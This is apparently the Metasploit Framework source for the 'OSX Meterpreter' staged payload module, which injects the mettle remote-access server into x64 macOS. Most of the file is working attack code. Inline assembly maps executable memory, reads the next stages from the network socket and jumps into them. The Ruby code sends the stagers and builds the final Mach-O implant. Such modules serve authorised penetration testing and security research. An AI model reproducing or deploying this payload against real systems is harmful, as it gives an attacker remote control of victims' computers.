##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule
  include Msf::Sessions::MeterpreterOptions
  include Msf::Sessions::MettleConfig

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'OSX Meterpreter',
      'Description'   => 'Inject the mettle server payload (staged)',
      'Platform'      => 'osx',
      'Author'        => [
        'parchedmind',  # osx_runbin
        'nologic',      # shellcc
        'timwr',        # metasploit integration
        ],
      'References'    => [
          [ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
          [ 'URL', 'https://github.com/nologic/shellcc' ]
        ],
      'Arch'         => ARCH_X64,
      'License'      => MSF_LICENSE,
      'Session'      => Msf::Sessions::Meterpreter_x64_OSX,
      'Convention'   => 'sockedi',
      )
    )
  end

  def handle_intermediate_stage(conn, payload)
    stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
    data = File.binread(stager_file)
    macho = Msf::Payload::MachO.new(data)
    output_data = macho.flatten
    entry_offset = macho.entrypoint

    midstager_asm = %(
      push rdi                    ; save sockfd
      xor rdi, rdi                ; address
      mov rsi, #{output_data.length}  ; length
      mov rdx, 0x7                ; PROT_READ | PROT_WRITE | PROT_EXECUTE
      mov r10, 0x1002             ; MAP_PRIVATE | MAP_ANONYMOUS
      xor r8, r8                  ; fd
      xor r9, r9                  ; offset
      mov eax, 0x20000c5          ; mmap
      syscall

      mov r12, rax

      mov rdx, rsi                ; length
      mov rsi, rax                ; address
      pop rdi                     ; sockfd
      mov r10, 0x40               ; MSG_WAITALL
      xor r8, r8                  ; srcaddr
      xor r9, r9                  ; addrlen
      mov eax, 0x200001d          ; recvfrom
      syscall

      push rdi                    ; save sockfd
      xor rdi, rdi                ; address
      mov rsi, #{payload.length}  ; length
      mov rdx, 0x7                ; PROT_READ | PROT_WRITE | PROT_EXECUTE
      mov r10, 0x1002             ; MAP_PRIVATE | MAP_ANONYMOUS
      xor r8, r8                  ; fd
      xor r9, r9                  ; offset
      mov eax, 0x20000c5          ; mmap
      syscall

      mov rdx, rsi                ; length
      mov rsi, rax                ; address
      pop rdi                     ; sockfd
      mov r10, 0x40               ; MSG_WAITALL
      xor r8, r8                  ; srcaddr
      xor r9, r9                  ; addrlen
      mov eax, 0x200001d          ; recvfrom
      syscall

      mov r10, rsi

      ; setup stack?
      and rsp, -0x10              ; Align
      add sp, 0x40                ; Add room for initial stack and prog name
      mov rax, 109                ; prog name "m"
      push 0                      ;
      mov rcx, rsp                ; save the stack
      push 0
      push 0
      push 0
      push 0
      push 0
      push 0
      push rdi                    ; ARGV[1] int sockfd
      push rcx                    ; ARGV[0] char *prog_name
      mov rax, 2                  ; ARGC
      push rax

      mov rsi, r12
      mov r12, #{payload.length}

      mov rax, #{entry_offset}
      add rsi, rax
      call rsi

      ; exit
      mov eax, 0x2000001
      mov rdi, 0x1
      syscall
    )
    midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
    print_status("Transmitting first stager...(#{midstager.length} bytes)")
    conn.put(midstager) == midstager.length

    Rex::sleep(0.1)
    print_status("Transmitting second stager...(#{output_data.length} bytes)")
    conn.put(output_data) == output_data.length
  end

  def generate_stage(opts = {})
    config_opts = {scheme: 'tcp'}.merge(mettle_logging_config(opts))
    mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
      generate_config(opts.merge(config_opts))).to_binary :exec
    mettle_macho[0] = 'b'
    mettle_macho
  end
end
